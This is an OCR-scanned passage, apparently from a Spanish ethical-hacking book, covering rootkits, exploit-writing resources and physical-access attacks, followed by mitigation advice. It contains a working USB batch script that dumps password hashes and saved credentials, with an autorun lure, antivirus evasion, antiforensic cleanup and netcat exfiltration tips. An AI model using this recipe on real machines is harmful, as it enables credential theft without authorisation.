Certified Reverse
Engineering &nalyst (CREA)

Certified Penetration Tester

(cpT)

Certificacion. Certificacion denominada Certified
Expert Penetration Tester (CEPT) de Information Assurance
Certification Review Board. Su sitio web es www.iacertification.org.

¢Cuales son los rootkits o backdoors (del tipo SucKit o no) mas interesantes
que conoces?

El control (por un administrador de administradores) en un sistema operativo, con-
siderando la actual integracion entre diversos sistemas, puede ser muy complicado
de volver atras. He visto muchos casos en los que una infeccion del tipo SUCKIT
o ADORE fue mucho mas facil de detectar que la infeccion de algunos simples bi-
narios (estilo tOrnkit); el contexto define muchas cosas.

Creo también que la popularidad sobre la técnica de HOOKING de SYSCALLS
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(UNIX/Linux) o APIS (WINDOWS) marcé un antes y un después; y sin dudas,
me preocuparia mas sobre este tipo de infeccion por el impacto que tienen, pero
apuntaria inicialmente a rootkits de médulos (estilo ADORE).

Hay una lista larga de rootkits con particularidades de WORM que no hace falta
enunciar (el proyecto www.chkrootkit.org tiene muchos).

Si tuvieras que recomendar los primeros libros y whitepapers para que un
lector interesado en comenzar a desarrollar exploits (remotos/locales) inicie
su carrera de estudio o investigacion, ¢cuales serian estos?

Sin duda, SHELLCODER s handbook 1.* y 2.* edicién son recomendables; tam-
bién es muy bueno Secrets of Reverse engineering. Hay una serie de libros en esta
linea que resultan muy interesantes y son realmente utiles para utilizarlos como ma-
chetes.

Igualmente, hay mucho material dando vueltas en Internet (nuestra web tiene una
pequena seleccion http://goodfellas.shellcode.com.ar). Ademas, los papers de la
PHRACK; NGSSoftware tiene muy buenos papers, y hay algunos especialistas que
escriben siempre y vale la pena leerlos.

&a - c A { ‘http:h’www,cs.cmu,eduINdbrumleylpubsIapeg.html W K

Automatic Patch-Based Exploit Generation

David Brumley, Pongsin Poosankam, Dawn Song, and Jiang Zheng

Abstract

The automatic patch-based expioit generation problem is: given a program P and a patched version of the program P, automatically
potentially unknown vulnerability present in P but fixed in P In this paper, we propose techniques for automatic patch-based exploit get]
techniques can automatically generate exploits for vulnerable programs based upon patches provided via Windows Update.

In many cases we are able to automatically generate exploits within minutes or less. Although our techniques may not work in all cases, 2
to conservatively estimate the capabilities of attackers. Thus, our results indicate that automatic patch-based exploit generation should be|
important security implication of our results is that current patch distribution schemes which stagger patch distribution over long time peri
may allow attackers who receive the patch first to compromise the significant fraction of wulnerable hosts who have not yet received the
update schemes, such as Windows Update as currently implemented, can detract from overall security, and should be redesigned.

What does this mean?
Attackers can simply wait for a patch to be released, use these techniques, and with reasonable chance, produce a working explott withi
worm, all vulnerable hosts could be compromised before most are even aware a patch is available, let alone download it. Thus, Microso
Update. We propose solutions which prevent several possible schemes, some of which could be done with existing technology.

Read the full paper: PDF

Reingenieria. En este sitio se pone a disposicién un documento que explica como es posible
rapidamente hacer ingenieria inversa sobre un parche para desarrollar un exploit para la falla en
cuestion: www.cs.cmu.edu/~dbrumley/pubs/apeg.pdf
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Ksplice: An automatic system for rebootless Linux kernel security updates

Jeffrey Brian Armold
Massachusetts Institute of Technology
Jjbarnold@mit.edu

Abstract
Ksplice* allows system administrators to apply security
patches to their operating system kernels without having
to reboot. Ksplice takes as input a source code change
in the standard patch format and the kernel source code
to be patched, and it applies the patch to the correspond-
ing running kernel. To be fully automatic, Ksplice's de-
sign is limited to patches that do not introduce seman-
tic changes to data structures, but a study of Linux se-
curity patches from May 2005 to December 2007 finds
that only eight patches of 50 make semantic changes.
An evaluation with Debian kernels and kernel.org ker-
nels shows that Ksplice can automatically apply the re-
maining 42 patches, which means that 84% of the ker-
nel vulnerabilities fro is i V. 4
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source code, often expressed in the GNU unified diff for-
mat [8]. In the case of the Linux kernel. system admin-
istrators apply the patch to their copy of the source code,
build a new kernel, and then distribute that new binary
kernel to servers and end-user machines, which must be
rebooted in order to run the new kernel.

Ksplice can, without restarting the kernel. apply any
source code patch that only needs to modify the kernel
text. Unlike other hot update systems, Ksplice takes as
input only a unified diff and the original kernel source
code, and it updates the running kernel correctly, with no
further human assistance required.

Additionally, taking advantage of Ksplice does not
require any preparation before the system is originally

Mo ©]

Ksplice. Documento del MIT en donde se habla de Ksplice, un sistema para la
actualizacion del kernel de linux sin reiniciar el sistema.
http://web.mit.edu/ksplice/doc/ksplice.pdf o web.mit.edu/ksplice/doc/
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9> Algunos
conceptos
finales

En este capitulo centramos el contenido en
cuatro cuestiones fundamentales relacionadas
con la gestidén de la seguridad de la
organizacidén, las técnicas avanzadas de
hacking, los errores mas comunes cometidos
por los supuestos profesionales de la
seguridad y todo lo referido a las

normativas de las organizaciones.



EL HACKING FiSICO

Se llama asi al acto de estar frente al servidor o terminal interna, con las manos
puestas sobre la maquina desde la que el intruso intenta comprometer a la
organizacion y, sin permiso apropia, desvia, copia, destruye o altera informacion de
la misma, estando en un recinto u otro componente del escenario o del sistema de
informacién en persona.

Esto se da a diario en las organizaciones, generalmente con empleados desconten-
tos, personal externo contratado, vendedores de informacion, aquellos que cum-
plen roles de espias industriales u otros ligados a inteligencia.

La implementacion de seguridad fisica se realiza a través de mecanismos de con-
trol y soluciones para minimizar este tipo de riesgo (entre otros que provienen de
la naturaleza, existen sabotajes, incendios, y otros que atentan al hardware como
el robo, etcétera).

: I Bk N , i
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Planos. Un peluquero en Alemania encontrd los planos del
Bundesbank, que habia gastado 221 millones de délares en su
renovacion estructural . Estos incluian informacion acerca de detectores, rejas, pisos
y pasillos. Una representante del banco dijo que alin no saben como llegaron
los planos alli y que es imposible que alguien haya comprometido su sequridad fisica.

Veamos un ejemplo en detalle. Imaginemos esta acciéon: una persona pasa por
enfrente de la oficina del gerente general o director, ve la puerta abierta -o la
abre-, entra e introduce un pendrive (memoria flash USB) en la computadora
con Windows XP. Hace dos clicks, saca el pendrive y se va. Tardé 5 segundos
y no instalé nada. ;Qué fue lo que hizo? Esta persona se llevé en su pendrive:
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¢ Todas las cuentas y passwords hasheados de usuarios del sistema.

e Las cuentas de red, passwords de carpetas compartidas.

* Usuario y passwords de paginas webs (formularios, homebanking, intranet, etcétera).
¢ Usuario y passwords de cuentas configuradas en clientes de correo (como Outlook).
e Usuario y passwords de MSN y cualquier otro mensajero instantaneo.

* Configuracion de red (IP interna, IP publica, placas, gateway).

Incluso, podria haber hecho esto delante del usuario de la terminal sin que éste se
diera cuenta. Veamos por qué y como lo logré. La maquina tenia el siguiente seteo:
* Windows XP SP2 con todos los parches al dia y firewall activado.

* Antivirus NOD32 con la actualizacion (database) de virus al dfa.

¢Qué hay de malo con ello, entonces? No estaba configurada de modo segu-
ro, no tenia aplicado hardening alguno y, por otro lado, habia un déficit de
control en la seguridad fisica.

http: /jwww.microsoft.comfmspress/booksf11841.aspx

United States Change | #

Search Microsoft.com

Worldwide Sites

Windows Server® 2008 Security Resource Kit
— Author  Jesper M. Johansson and MVPs with the Microsoft Security Team
Pages 512

Disk 1 Companion CD(s)
Level

Published 02/27/2008

ISBN 9780735625044
Price

Resource

To see this book's discounted price, select a reseller below.

[ BARNESZNOBLE |[ amazoncom || quantumbooks |

About the Book
Your definitive security resource for Windows Server 2008—straight from the experts.

Get the definitive reference for planning and implementing security features in Windows Server 2008—with
expert insights from Microsoft Most Valuable Professionals (MVPs) and the Windows Server Security Team at
Microsoft, This official Microsoft RESOURCE KIT delivers the in-depth, technical information and tools you need
to help protect your Windows®-based clients, server roles, networks, and Internet services. Leading security
experts explain how to plan and implement comprehensive security with special emphasis on new Windows
security tools, security objects, security services, user authentication and access control, network security,
application security, Windows Firewall, Active Directory® security, group policy, auditing, and patch
management. The kit also provides best practices based on real-world implementations. You also get
must-have tools, scripts, templates, and other key job aids, including an eBook of the entire RESOURCE KIT
on CD.

Win2k8. En el sitio de Microsoft, podemos encontrar un enlace relacionado a
un libro que trata la seguridad de Windows 2008 server.

Al instalar Windows XP, se deja al usuario que instala con privilegios de adminis-
trador, lo que nos dara los derechos de extraer informacion de su registro y acce-
der a otros archivos del sistema. En cuanto al antivirus instalado por defecto, no
chequea las aplicaciones potencialmente peligrosas del médulo scan AMON (mo
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nitor del sistema de archivos) ni los demas modulos. De todos modos, vale aclarar
que estas aplicaciones utilizadas no son virus ni otro tipo de malware. Sélo extraen
informacién del registro de Windows y del archivo de cuentas de sistema.

Ahora bien, scual fue el mecanismo para realizar la extraccion instantanea de la in-
formacion? Fue un simple proceso batch, lanzado desde un archivo .bat, con una
pequena rutina secuencial de ejecucioén de aplicaciones inofensivas. Gracias a ello,
la mayorfa de los antivirus no las detectan vy, al ser ejecutada cada una de ellas, ra-
pidamente va guardando en el pendrive la informaciéon que extraen.

Aplicaciones empleadas:

1. De Nirsoft, Protected Storage PassView (www.nitsoft.net/utils/pspv.html) pue-
de generar un archivo con el resultado si es ejecutado mediante linea de coman-
do, y extrae los siguientes datos:

* Passwords de Outlook: cuando creamos una cuenta de e-mail en Outlook Ex-
press o una cuenta POP3 en Microsoft Outlook y esta elegida la opcion de pro-
piedades de cuenta Recordar contrasefia, el password es guardado en Protected
Storage (servicio de Windows Isass.exe que provee algo de seguridad para guar-
dar passwords) y asi, esta utilidad puede revelarla instantaneamente.

* Autocompletar passwords en Internet Explorer: muchos sitios tienen un for-
mulario con los campos de usuario y password para completar. Cuando nos lo-
gueamos en dicho sitio, Internet Explorer nos pregunta si queremos que recuer-
de ese password para la proxima vez que llegamos alli. Si respondemos Si, esta
clave podra ser extraida facilmente a través de Protected Storage PassView.

* Sitios protegidos por passwords en Internet Explorer: algunos sitios nos dejan
acceder utilizando Basic Authentication o Digest Access Authentication. Cuan-
do ingresamos en ellos, Internet Explorer nos mostrara una pantalla de login
preguntandonos nuestro usuario y password.

* MSN Explorer Passwords: MSN Explorer guarda dos tipos de passwords en
el Protected Storage. Estos son: los passwords de sesién y los passwords de
autocompletado.

HACKING, PENETRATION TESTING AND COUNTERMEASURES TRAINING
Existe un curso muy interesante en inglés que abarca muchos temas relacionado a la

seguridad de la informacion y podran ver el temario aqui: www.careeracademy.com/
index.asp?PageAction=VIEWPROD&ProdID=95
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iBix

File Edit Wiew Help

= Y

Resource Name | Resource Type | User Mame/Value | Password
lﬁﬂNirSoft Tail Outlook Express nirsoft pagi7TL
ESﬂSecond Account Outlook Express nirsoftz poulz3d
@http:,l’,l’lgz. 168,0,37 IE: Password-Protected Sites  userDl rekghe
@http:.l’,l’lgz. 163.0.11/login.asp AutoComplete Passwords hello 1234

. AutoComplete Pas E aawarrFf

ﬁ Ao0 AutoComplete Passwards rain pokkj7es
@http:,l‘,l‘lgz. 168.0.90/admin, asp AutoComplete Passwords adrnin pzfakahh
ghttp:,l',l’nirsoft.cjb.net AutoComplete Passwords mainuser 19j8r5dd4

| |
|8 item{s), 1 Selected

Proggiel. Modo grafico de PSPV que aparece al darle doble clic.
También puede ejecutarse mediante comandos a través del prompt MS-DOS.

2. De Nirsoft, Network Password Recovery (www.nirsoft.net/utils/network-

_password_recovery.html). También puede generar un archivo con el resultado
si es ejecutado mediante linea de comando, y extrae:

* Passwords de logins remotos en la LAN.

* Passwords de cuentas de e-mail en Exchange server o almacenadas en Outlook
2003.

¢ Passwords de MSN Messenger o cuentas Windows Messenger.

* De Internet Explorer 7: los passwords de sitios protegidos por passwords (Ba-
sic Authentication o Digest Access Authentication).

B Network Password Recovery u@m

File Edit View Help

QA

Item Name Type User Password Last Written

L 4'wind a

@ wWindowsLive:name=... Generic woOd6@gmail.com 8d643wOd64 2007-12-19 11:03
< >
2 item(s), 1 Selected HirSoft Freeware. http:/www.nirsoft.net

Proggie2. Interfaz grafica de la aplicacion Network Password Recovery de Nirsoft.
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3. FgDump de Fizzgig (www.foofus.net/fizzgig/fgdump/)

et C:\WINDOWS\system32\cmd.exe

C:\>fgdump -0 localhost
fgDump 1.7.8 — fizzgig and the mighty group at foofus.net
Written to make jOml ’s life juw a bit easier
Copyright<(C> 2007 fizzgig and foofus.net
f gdump comes with ABSOLUTELY NO WARRANTY?

s is free software. and you are welcome to redistribute it

certain conditions; see the COPYING and README files for

more information.

Starting dump on 127.0.0.1
b Beginning local dump %
0S8 (127.8.8.1>: Microsoft Windows XP Professional Service Pack 2 (Build 2608>
Passwords dumped successfully
Cache dumped successfully
Summary—————

servers:

Successful servers:
-1

failed: @
successful: 1

Dumper. FgDump dumpea (extrae) los hashes
contenidos dentro del archivo SAM, es decir, saca las
cuentas de usuarios de sistema en Windows NT/XP/2000/2003.

4. Archivo ejemplo.bat en el mismo directorio que las aplicaciones de Nirsoft. Fs-

te es el codigo batch (MS-DOS) que ejecuta las aplicaciones en modo de linea
de comando y guarda la informacién en la carpeta Documents del pendrive.

—8< Escribir en Notepad y guardarlo como ejemplo.bat

@echo off

start /MIN fgdump -o \Documents\hashes.txt localhost >nul
start pspv /stext \Documents\passl.txt >nul
start mspass /stext \Documents\pass2.txt >nul

—8<

Un ejemplo grotesco, aunque se puede mejorar en muchos aspectos, veamos:

* Podrian disimularse los archivos de datos por nombres mas desapercibidos co-
mo archivos temporales en una carpeta llamada Temp (generar alli t654.tmp,
t655.tmp, t656.tmp o bien es posible hacerlo en un solo .tmp).

¢ El .bat puede convertirse en .exe con la herramienta Quick Batch File Compiler
(www.abyssmedia.com/quickbfc/).
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* A su vez, este .exe puede cifrarse con la herramienta que encontramos en
http://upx.sourceforge.net.

* Puede agregarse un comando para que borre del registro la ejecucion de estas
aplicaciones (técnica antiforense).

* Se puede ejecutar un menu de herramientas portables para disimular la verdade-
ra intencion del doble clic:

start \PortableApps\PortableAppsMenu\PortableAppsMenu >nul | exit

Este comando ejecutara por dltimo el menu de la aplicacion www.portableapps.com.
Un ejemplo de ingenierfa social setfa darle a un ejecutivo el pendrive y peditle que ha-
ga click en el icono de portableapps para ver el menu de aplicaciones para pendrive.
Para hacerlo mas creible, el archivo Autorun.inf deberia ser mas o menos asi:

—8<

[ Autorun]

Open=Portable-Apps.exe < este es el .bat hecho .exe
Action=Start Portable-Apps

Tcon=PortableApps\ PortableAppsMenu\ PortableAppsMenu.exe
Label=PortableApps

—8<

S %:A] /LJ} ig) http:{jportableapps.comf

o PORTABLEAPPS.COM

YOUR DIGITAL LIFE, ANYWHERE ™

Home Applications Suite Forums Development Support

Pick a PC. Any PC. Convenient

Now you can carry your favorite computer
ThO NEW PortableAppS SUhCTM programs along with all of your bookmarks,
settings, email and more with you. Use them
on any Windows computer. All without
leaving any personal data behind.

Open

Portable Apps.com provides a truly open
platform that works with any hardware you
like (USB flash drive, iPod, portable hard
drive, etc). It's open source built around an
open format that any hardware vendor or
software developer can use.

] OpenOffice.org Base Portable G Free

Portable. Software portable para dispositivos USB. Es gratuito, no posee
spyware y la lista de aplicaciones puede verse en http://portableapps.com/apps.
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* Se pueden copiar archivos de la maquina —de la carpeta Mis documentos, del mis-
mo escritorio o de la carpeta de Outook-, determinadas extensiones (.doc, .xIs,
.mdb), pero todo esto demandara mayor tiempo que los dos segundos de este
ejemplo, gracias al comando find o la posible transferencia de muchos archivos.
Todo ello podria extraerse luego de una forma no fisica (via red local o Internet).
Se puede dejar un servicio activado.

Se puede disparar una shell hacia un netcat en escucha.

Agregar usuarios de administracion.

Modificar el archivo HOSTS.

Matar procesos de firewall o antivirus (con kill.exe o pskill.exe).

Todos los binarios .exe pueden ser modificados para que no sean detectados por
antivirus o antispywares (a mano o con alguna aplicacién como SoftwarePassport
de www.siliconrealms.com).

Se puede poner a compartir una determinada unidad (C, D) o directorio.

Extraer la informacion del clipboard.

Extraer mas informacién sobre la red de la terminal o hardware. Por ejemplo con
los comandos:

ipconfig >pc.txt

netstat -an >>pc.txt

systeminfo >>pc.txt

Extraer informacidn sensible de otras terminales en red.

«- - \(;‘J {l} http:f v, elhacker .net/ProgramacionBat. htm "‘ L*‘ ‘|G]'

La shell en entorno ms/dos.

Tutorial programacion.bat

Este documento es de dominio publico v se redacta bajo la licencia de Software Libre
Prohibida la reproduccién total o parcial de este texto sin poner la fuente (hitp/fwww. elhacker.net') o sin respetar la licencia de 'Software Libre'
Prohibida la modificacién o eliminacién de enlaces e imgenes en este documento.
Redactado por Soplo el 31 de Agosto de 2005

Para consultas pinchar aqui

1. Introduccién
2. Qué se puede hacer con un programa BAT?
3. Crear un programa BAT
4. Redireccién de entradafsalida
5. Filtros
6. Mascaras v comodines
7. Trayectos (paths
8. Unidades Légicas
9. Comandos MSDOS
9.1 Comandos basicos de consola
9.2 Comandos de manejo de archivos
9.3 Comandos de disco
9.4 Comandos de red
9.5 Comandos de programacién
10. Variables de entorno

Batch. Seccion del sitio www.elhacker.net dedicado a la programacion

296



en batch (MS-D0OS/.bat), en donde se explican los conceptos basicos de ella.

Hasta es posible dejar atado al programador de tareas el FTK imager lite —o dd- pa-
ra que, a determinada hora de la madrugada, realice una imagen perfecta de disco
duro en un servidor y que, via red (con netcat o una unidad compartida), se aloje
en el disco duro externo —que luego llevaremos a casa- de una terminal a la cual te-
nemos mayor tiempo de acceso que en la organizacion.

El hacking fisico no tiene limites, y dos clics pueden lograr que en dos segundos se
comprometa la informacion de un disco duro completo o lo mas sensible de la or-
ganizacion si ésta no esta debidamente resguardada.

/IJ} l [} http:ffwww, accessdata.com/common/pagedetail aspx?PageCode=downloads l v l 3 ‘ @'I

y»] AccessData

A Pioneer in Digital Investigations Since 1987

PRODUCTS  TRAINING SERVICES DOWNLOADS  SUBSCRIPTIONS EVENTS COMPANY  SUPPORT
- - - - - - - -

HOME | SUPPORT | DOWNLOADS

SUPPORT

Forensic Products
Contact Us
Froduct Downloads
Previous Releases Forensic Toolkit®(FTK™) version 1.71 User Guide
White Papers Download (33.2 Mbytes) Product FAQs
Technical Documents Release Date: July 19, 2007 Release Notes
PRTK/DNA Modules MD50810B4CA7275F 1 DAED4SBCED23B8F793
EEQRLILQHFEFSXWQSSIDHS Note: Cases processed in previous versions of FTK cannot be opened in 1.7X,

Important information regarding FTK and Daylight Savings Time: FTK 1.70 or higher FTK 1.62 or lower

FTK & Daylight Savings

Registry Viewer™ (RV) version 1.5 User Guide
Download {9.42 Mbytes) Product FACs
Release Date: July 19, 2007 Release Motes

MD&:27775042B208C39D63AB47D1CE7 ASFAF
Mote: Click NEre to view the Registry “ewer Summary Report (RSR) File Downloads

FTK. Sitio de AccessData (www.accessdata.com), desarrolladores
del excelente FTK Imager Lite para hacer imagenes raw (clonado bit a
bit) de discos y unidades de almacenamiento, aptas para el analisis forense.

¢Coémo mitigar este riesgo? Veamos siete tips para utilizar en organizaciones e
instituciones.

Control de acceso al recinto: No cualquier persona deberia merodear por todos
los pasillos u oficinas de la organizacion. Si ésta es grande, lo mejor es manejarse
con niveles de acceso y sistemas biométricos, guardias en el edificio o en el perime-
tro, y circuito de camaras con el almacenamiento de datos protegido. Por supues-
to, no hay que olvidarse de cerrar bien la oficina cuando se sale.

Control de acceso a pantalla: En la terminal de trabajo ejecutiva, ésta debe con-
tar con el salvapantallas configurado con password a los pocos minutos de inacti-
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vidad.

Zbiometric Home
CONSORTIUM

About Us

_ biometric-based personal identificationfverification technology. The Biometric Consortium organizes a pi|
biometrics corference every fall. Information about past conferences, current government and standards acti
bulletin board service, and other biometric resources can be found throughout this web site.

Intro. to Biometrics
Meetings & Events The Biometric Consortium serves as a focal point for research, development, testing, evaluation, and applicat]
. ity

Co-Chairs:

Biometric Resources Jeffrey S. Dunn
Fernando Podio/NIST

o

ast BC Conferences

e Bjometric Consortium Conference

Biométrico. Pagina web perteneciente a The Biometric Consortium (www.biometrics.org)
en la que se listan todos los vendedores de accesorios biométricos para identificacion o ve-
rificacion segln caras, huellas, retinas, iris, voz, palma de la mano, modo de escritura, etcé-

tera.

Propiedades de Pantalla ]

Temas | Escritorio | Protector de pantalla |Apariencia | Configuracion |

—

Pratector de pantalla

‘ “ [Eonfigur:a\ién] [ Wizta previa

Esperar: 5 % | minutos  [#] Proteger con contrasefia al reanudar

Energia del monitor
Srf de energia del monitor y

Fara ajusta
% aharrar energia; ic en Energia.
l Aceptar ] [ Cancelar ] Aplicar

Password. Configuracion del salvapantalla para que se active en caso
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de no tener actividad en 5 minutos y que, cuando se intente reanudar la actividad
en la terminal, se solicite un password. Muy atil si, a la hora

de ausentarnos de la oficina, alguien intenta utilizar la PC sin nuestro permiso.

Politicas de seguridad: todos los empleados y el resto de los recursos humanos li-
gados a la organizacion tienen en claro las politicas de la seguridad de la informa-
cion, la concientizacion, el buen manejo de los recursos informaticos y el procedi-
miento. Estas politicas deben estar definidas gracias al analisis del relevamiento ex-
haustivo del escenario (de la infraestructura, de recursos légicos, humanos y ries-
gos de los activos), la totalidad de sus procesos y los objetivos de la organizacion.
Es vital que tengan el aval y el compromiso de la Gerencia para llevar a cabo la im-
plementacion y el acatamiento general de estas politicas.

Desconexion fisica del hardware o deshabilitarlo mediante el registro: En es-
te caso en particular, se puede optar por desconectar los puertos USB de la termi-
nal ya sea en forma electrénica o logicamente (http://support.microsoft.com/de-
fault.aspxrscid=kb;en-us;823732), o en otros casos, las grabadoras de CD y DVD
o disqueteras. Sin llegar a tener comportamientos extremos, esto puede evitarse
con otras medidas, como la utilizacién de cifrado por ejemplo.

@-»-@ (2 [ hetpusjum. devicelock.comydy [-[ ] [d

LI :;II'TJG THEC

YO

PRODUCTS * PURCHASE ¥ DOWNLOADS * PARTNERS ¥ SUPPORT » COMPANY

7 DEVICELOCK® www.devicelock.com [ Devicelock® | Devicelocki® Description

Description

1
1 Download El Are Open USB and FireWire Ports Your Greatest Yulnerability? Close Them Now with
DevicelLock®!
1 Purchase
Firewalls and antivirus software are no defense against acts of data theft and corruption from
1 General Q&A within your organization at local endpoints. You don't have to be an administrator to connect a
small digital camera, MP3 player, or flash memory stick to the USB and begin uploading or
1 FAQ downloading whatever you want. If you are a system administrator, you know you can't

manage such device-level activity via Group Policy.

H CASE STUDY Using endpoint device security solution called DeviceLock®, network administrators can lock
out unauthorized users from USB and FireWire devices, WiFi and Bluetooth adapters, CD-Rom

and floppy drives, serial and parallel ports, PDAs and smartphones and many other

Norwich & Peterborough plug-and-play devices. Once DeviceLock® is installed, administrators can control access to any

Building Society protects device, depending on the time of day and day of the week.

against USB risks with

Devicelock® For enterprises standardized on software and hardware-based encryption solutions like PGP®
Whole Disk Encryption and Lexar® SAFE PSD S1100 USBE drives, DeviceLock® allows

With assets of £3.26 billion and administrators to centrally define and remotely contral the encryption policies their employees

members in the region of must follow when using removable devices for storing and retrieving corporate data. For

336,000, Norwich and example, certain employees or their groups can be allowed to write to and read from only

Peterborough Building Society specifically encrypted USE flash drives, while other users of the corporate network can be

(N&P) is the 14th largest building permitted to "read only" from non-encrypted removable storage devices but not write to them.

Deshabilitador. Sitio del producto DevicelLock (www.devicelock.com),
que se utiliza para deshabilitar unidades y puertos (USB entre ellos)
mediante grupos de politicas en el sistema.
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Cifrado de informacién: Utilizar PGP Desktop Enterprise, Steganos Security Sui-

te 2007 o TrueCrypt (www.kriptopolis.org/truectypt-windows-01) para cifrar la in-
formacion sensible de los documentos en la PC o en particiones destinadas a res-
paldo de informaciéon (backups).

< - - @ ﬁ_“ l\:] http: v, truecrypt.org) “

TRUE

PEN-SOURCE ON-THE-FLY ENCRYPT O N

Home Documentation Downloads News Future History Screenshots Donations

TrueCrypt

Free open-source disk encryption software for Windows Yista/XP/2000 and Linux

Hosted on:
SOURCER. RGE Main Features:
ne
+ Creates a virtual encrypted disk within a file and mounts it as a real disk.
N :
il « Encrypts an entire hard disk partition or a storage device such as USB flash drive.
* 2007-05-03 N
TrueCrypt 4.32 « Encryption is autornatic, real-time {on-the-fly) and transparent.
Released
+ Provides two levels of plausible deniability, in case an adversary forces you to reveal the pasq
* 2007-03-19
;rweCru%t 4.3 1) Hidden volume (steganography - more information may be found here).
elease
e 2) Mo TrueCrypt volume can be identified {volumes cannot be distinguished from random data).

Donations via PayPal
Accepted Now

Encryption algorithms: AES-256, Serpent, and Twofish. Mode of operation: LRW.

[Mews Archive] Further information regarding features of the software may be found in the documentation.

What is new in TrueCrypt 4.3a (released May 3, 2007)

Statistics (number of downloads) Next release 5.0 scheduled for: January 2008

Cifrador. Sitio de TrueCrypt (www.truekrypt.org), aplicacion que cifra datos on-the-fly (en tiempo
real, totalmente transparente al usuario) desde la misma memoria, muy recomendado y libre.
Deteccién de aplicaciones malintencionadas: Instalar y setear debidamente los
escaneres de malware (antivirus y antispyware), ya que la configuracion que tienen

por defecto al instalarlos no es recomendable. En la actualidad, los mas recomen-
dados son: NOD32 de la firma ESET y Ad-Aware 2008 Pro de Lavasoft.
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LivEisoFT

Ad-Aware  Other Products Support — Security Center Partners Company

Don't fight the spyware battle alone, o
WE ARE ON YOUR SIDE. =
[A

~

:
é
i

Your home and business deserve the very best.

indows Vista®
Compatible

View products for:

g Small /Medium Academic/
Home e Enterprise 5
gy ome Business Non-Profit

Subscribe to Lavasoft News News from Research Jobs at Lavasoft

Antispyware. Website de Lavasoft (www.lavasoftusa.com), desarrolladores de Ad-aware y otros
productos relacionados con la deteccion y eliminacion de spyware en nuestras maquinas.
Privilegios de invitado: No utilizar el usuario por defecto de Windows XP, ya que
de esta manera es como se infectan las maquinas con malware, porque éste tiene
privilegios de administrador sobre el sistema. Si se utiliza un usuario con privilegios
de invitado, lo que se ejecute no podra instalarse, alterar archivos de sistema, reali-
zar cambios en el registro de Windows o extraer las cuentas de usuarios del siste-

ma.

Para hacetlo, vamos a cambiar los privilegios del usuatio desde Inicio/Ejecutar...,
ingresamos compmgmt.msc y presionamos Aceptar. En la ventana que se abre, va-
mos a Usuarios locales y grupos/Usuarios. Hacemos click con el botén derecho
sobre el nombre del usuario que vamos a modificar y elegimos Propiedades. Va-
mos a la solapa Miembro de, hacemos click sobre Administradores y presionamos
Quitar. Luego, pulsamos Agregar..., escribimos y hacemos click en Aceptar.

Busqueda manual de malware

Para buscar a mano malware que haya ingresado en una terminal o servidor, son recomendables Autoruns y
ProcessMonitor de SYSINTERNALS, y Rootkit RkUnhooker, Unlockery pskill.exe, incluido en PStools de Founds-
tone. Antes conviene tener hecho un snapshot (imagen) del registro limpio de Windows para ver si se modificd y
compararlo con un snapshot de la maquina infectada con la utilidad What's Running (www.whatsrunning.net).
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%_Administruidn de equipos

=) Archivo Accidn  Wer Ventana Ayuda
e - @@ X £

B Administracion del equipo (local)
|- m Herramientas del sistema
[£3) visor de sucesos

E Carpetas compartidas

Mombre I Nombre completo I Descripcion

Propiedades de nobody

[+ [+

[=] Usuarios locales v grupos General | Miembro de ‘ Perfil ‘
44 Usuarios
(21 Grupos Miembra de:
[ Registros v alertas de rendin
= Administrador de dispositivos
|- (& Almacenamiento Seleccionar, Grupos
Bl ;
Desfragmentador de disco
Administracidn de discos Seleccionar este tipo de objeto:
E3) 82 Servicios y Aplicaciones ‘ Grupos ] [ Tipos de objetos... ]
Desde esta ubicacion:
TERMINAL | [ Ubicaciones... |
Escriba los nombres de objeto que desea seleccionar (ejemplos):
Invitados Comprobar nhombres
< |
e

Invitado. Pantalla que muestra el cambio de los privilegio del usuario.
Al reiniciar el equipo, nuestro usuario no tendra privilegios sobre el sistema,
como tampoco los programas (o virus) que intenten ser instalados a través de éLl.

Este ejemplo (técnicamente mejorado, claro estd) fue testeado en servidores Win-
dows 2003 con Active Directory de grandes organizaciones, servidores Exchange y
en terminales ejecutivas con Windows XP SP2 y, en todos los casos, funcioné. Es-
to es posible hacerlo en otras plataformas como Linux o Unix, aunque de otros mo-
dos.

Errores mas comunes
(cometidos por los aspirantes a profesional de seguridad)
Veamos ahora un mix en cuestiones de gestion, humanas y técnicas basadas en si-

tuaciones reales para tener pICSCHtCS como referencia.

CERT ENSENA

En el centro de ensefnanza virtual del CERT www.vte.cert.org/vteweb/Library/
Library.aspx podemos encontrar videos instructivos online (entre otros formatos ] que se
encuentran organizados en 25 categorias en las que podemos buscar por keywords.
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Abordar el trabajo con escaso conocimiento técnico, con poca légica o sin
creatividad: Fiste es el motivo principal de la falsa sensacién de seguridad de una
empresa luego de haber contratado a un supuesto profesional de la seguridad sin
que éste poseyera los suficientes conocimientos técnicos o de procedimientos para
hacer el trabajo de un modo correcto. Si en seguridad informatica o de la informa-
cioén solo se aplicaran soluciones técnicas o se tuviera que seguir unicamente deter-
minada metodologia plasmada en un simple checklist, el estado general de las gran-
des organizaciones serfa un desastre. La ausencia tanto de sentido comun como de
capacidad para analizar y resolver problemas complica atin mas las cosas.

Abordar el trabajo con escaso conocimiento del escenario: Al profesional, en
una reunion con directivos y administradores, pueden intentar brindarle todos los
detalles acerca del escenario. Pero si éste no hace un relevamiento exhaustivo por
su cuenta o no realiza todas las preguntas, abarcando la totalidad de los componen-
tes y procedimientos, es muy probable que algiin aspecto se deje de lado y eso sea
una potencial brecha de seguridad en el sistema de informacion.

Abordar el trabajo sin previa definicion de la metodologia por emplear ni el
alcance por etapa: Si el profesional no planifica los pasos por seguir, es probable
que recurra a una secuencia de trabajo poco eficiente. De ese modo, los lapsos y la
demanda de tiempo, dinero y personal se incrementaran. Incluso, arriesgando a que
en ese periodo aparezcan nuevas amenazas al entorno, no habiendo adoptado to-
davia las medidas de mitigacion a la problematica (en este caso el aseguramiento),
cuando aun era tan solo de caracter potencial.

Abordar parte del trabajo antes de pautar la autorizacion: Es de una total fal-
ta de ética y tacto el asestar siquiera un escaneo antes de definir el contrato o pau-
ta de autorizacioén para el trabajo. Ademas, si un administrador da cuenta de ello
(mirando algin log o monitor), podrian generarse problemas de otro tipo: huma-
nos, legales (seguin pais) y hasta de produccion.

Desconocer los falsos positivos: Los falsos positivos son aquellos resultados

USB como herramienta de hackeo fisico

Si desean conocer mas ejercicios para llevar a cabo con unidades opticas o pendrives,
tienen que leer estos sitios: wiki.hak5.org/wiki/USB_Switchblade o wiki.hak5.org/wiki/
USB_Hacksaw o bien: www.usbhacks.com Recuerden que estos tipos de scripts estan
indexados por antivirus, por eso es preferible un método casero, indetectable.
